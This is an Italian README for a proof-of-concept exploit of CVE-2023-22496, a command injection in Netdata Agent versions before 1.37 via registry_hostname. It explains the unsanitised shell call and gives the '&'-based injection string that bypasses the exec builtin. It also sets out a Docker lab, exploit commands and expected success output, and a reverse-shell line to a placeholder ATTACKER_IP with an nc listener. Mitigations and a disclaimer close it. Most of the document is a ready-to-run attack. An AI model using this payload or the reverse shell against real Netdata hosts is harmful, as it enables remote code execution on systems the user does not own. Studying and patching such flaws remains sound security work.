
PoC per CVE-2023-22496: Netdata Agent <1.37 Iniezione di comandi del sistema operativo tramite registry_hostname
Gravità: Critica (CVSS 9.8)
Versione affetta: Netdata Agent < 1.37.0
Corretto in: v1.37.0
Tipo: Iniezione di comandi OS (CWE-78)
CVE-2023-22496 è una vulnerabilità di iniezione di comandi OS nel sistema di notifica degli allarmi sanitari di Netdata. Il registry_hostname di qualsiasi nodo in una catena di streaming viene inserito in un comando shell senza sanificazione. Un attaccante che può impostare registry hostname in un file di configurazione di Netdata ottiene esecuzione di codice remoto come utente del processo netdata su qualsiasi nodo padre che elabora l'allarme.
health/health.cstatic inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // e.g. "root"
host->registry_hostname, // ← NO SANITISATION — attacker-controlled
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // run via /bin/sh
...
}
spawn_enq_cmd passa la stringa a /bin/sh -c, che la valuta come shell. Poiché registry_hostname non viene mai sanificato, un attaccante può iniettare comandi shell arbitrari.
execL'iniezione ingenua `'; cmd; '` non funziona perché il builtin shell exec sostituisce il processo shell corrente, quindi il ;cmd; iniettato non viene mai raggiunto.
Bypass funzionante — usa & (operatore di background):
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# Execution flow:
# exec alarm-notify.sh 'root' 'x' & → runs in background; shell stays alive
# touch /tmp/pwned & → shell evaluates this; file created
# # → rest is a comment; ignored
┌──────────────┐ stream ┌──────────────┐ stream ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (attacker) │ │ (relay) │ │ (victim / target) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() fires
with injected registry_hostname
→ RCE on agent_parent
L'attaccante ha solo bisogno di controllare qualsiasi nodo nella catena di streaming. Il registry_hostname viene propagato nel protocollo di streaming e utilizzato così com'è da ogni nodo padre quando chiama health_alarm_execute.
CVE-2023-22496-PoC/
├── Dockerfile # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml # 3-node vulnerable streaming environment
├── exploit.py # Standalone exploit script
├── config/
│ ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│ ├── parent_stream.conf # Parent accepts streams + evaluates health
│ ├── parent_guid # Fixed node GUID
│ ├── middle_netdata.conf # Middle relay config
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # Child sender config
│ ├── child_stream.conf
│ └── child_guid
└── README.md
docker compose)git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .
docker compose up -d
Attendi circa 15 secondi per l'inizializzazione di Netdata, poi verifica:
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"
# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
Output previsto:
======================================================================
CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
Shell command : 'touch /tmp/pwned'
Injected host : "x' & touch /tmp/pwned & #"
[*] Pre-flight: verifying Docker environment
[*] All 3 containers are running.
[*] Step 1: Writing injected netdata.conf for agent_parent
Written: config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] Step 2: Restarting agent_parent to load injected config
...
agent_parent is up and responding.
[*] Step 3: Waiting 65s for a disk_space WARNING alarm
[*] Step 4: Checking for command execution evidence
======================================================================
✅ SUCCESS — CVE-2023-22496 CONFIRMED
'/tmp/pwned' exists on agent_parent
======================================================================
# On your listener machine:
nc -lvnp 4444
# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
# Stop and remove containers + volumes
docker compose down -v
# Remove the image
docker rmi netdata-vuln:v1.36.1
La correzione in v1.37.0 sanifica registry_hostname rifiutando qualsiasi carattere al di fuori di [a-zA-Z0-9._-] prima di inserirlo nel comando shell.
Questo repository è fornito solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Eseguire questo PoC su sistemi di cui non si è proprietari o per i quali non si ha esplicita autorizzazione scritta per il test è illegale. Gli autori non si assumono alcuna responsabilità per un uso improprio.
| Azione | Dettaglio |
|---|
| Aggiornare | Aggiornare Netdata Agent a ≥ v1.37.0 |
| Limitare | Limitare l'accesso in scrittura a netdata.conf |
| Rete | Isolare le porte di streaming (19999/tcp) solo a reti fidate |
| Verificare | netdata --version — conferma di non essere su una versione pre-1.37 |